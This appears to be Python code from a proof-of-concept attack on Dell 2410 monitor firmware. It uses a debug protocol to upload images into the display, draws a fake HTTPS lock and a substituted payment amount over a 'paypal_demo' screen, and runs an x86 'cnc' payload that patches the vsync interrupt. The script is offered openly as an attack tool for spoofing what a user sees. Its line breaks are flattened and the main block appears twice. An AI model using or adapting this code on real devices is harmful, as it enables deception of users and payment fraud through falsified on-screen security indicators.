def put_unicorn(dev, images): unicorn_coordinates = (0x60, 0x39) unicorn_image_info = images['unicorn'] delltools.put_image(dev, unicorn_image_info, unicorn_coordinates[0], unicorn_coordinates[1])
def put_shak(dev, images): shak_coordinate = (0x60, 0x39) shak_image_info = images['shak'] delltools.put_image(dev, shak_image_info, shak_coordinate[0], shak_coordinate[1])
def put_ssl_lock(dev, images): lock_coordinate = (0x5e, 0x38) lock_image_info = images['lock'] delltools.put_image(dev, lock_image_info, lock_coordinate[0], lock_coordinate[1])
def red_hmi(dev, images): red_coordinate = (0x332, 0x21b) red_image_info = images['red'] delltools.put_image(dev, red_image_info, red_coordinate[0], red_coordinate[1])
parser = argparse.ArgumentParser(description='patch vsync interrupt') for arg in ARGS: parser.add_argument(*arg['args'], **arg['kwargs']) args = parser.parse_args() payload = X86Payload("cnc") dell = protocol.Dell2410() dell.initialize() dell.debug_on() if args.paypal_demo: lock_image = DellImage("lock_https.gif") lock_metainfo, _ = delltools.upload_single_image(dell, lock_image, 0x600000) delltools.put_image(dell, lock_metainfo, 0x63, 0x4a) time.sleep(2) # put default image amount_image = DellImage("amount_image.png", 255 - lock_image.colors) amount_metainfo, _ = delltools.upload_single_image( dell, amount_image, 0x600000, clut_offset=lock_image.colors) delltools.put_image(dell, amount_metainfo, 134, 330, sdram_loc=0x1000 >> 6, tile=1) delltools.execute_payload(dell, payload, 0x6000) dell.debug_off()
from image import DellImage, get_control_struct import argparse ARGS = [{"args": ("--paypal_demo", "-p"), "kwargs": {"action": "store_true", "help": "do the paypal_demo"}}] parser = argparse.ArgumentParser(description="patch vsync interrupt") for arg in ARGS: parser.add_argument(*arg["args"], **arg["kwargs"]) args = parser.parse_args() payload = X86Payload("cnc") dell = protocol.Dell2410() dell.initialize() dell.debug_on() if args.paypal_demo: lock_image = DellImage("lock_https.gif") lock_metainfo, _ = delltools.upload_single_image(dell, lock_image, 0x600000) delltools.put_image(dell, lock_metainfo, 0x63, 0x4A) time.sleep(2) # put default image amount_image = DellImage("amount_image.png", 255 - lock_image.colors) amount_metainfo, _ = delltools.upload_single_image(dell, amount_image, 0x600000, clut_offset=lock_image.colors) delltools.put_image(dell, amount_metainfo, 134, 330, sdram_loc=0x1000 >> 6, tile=1) delltools.execute_payload(dell, payload, 0x6000) dell.debug_off()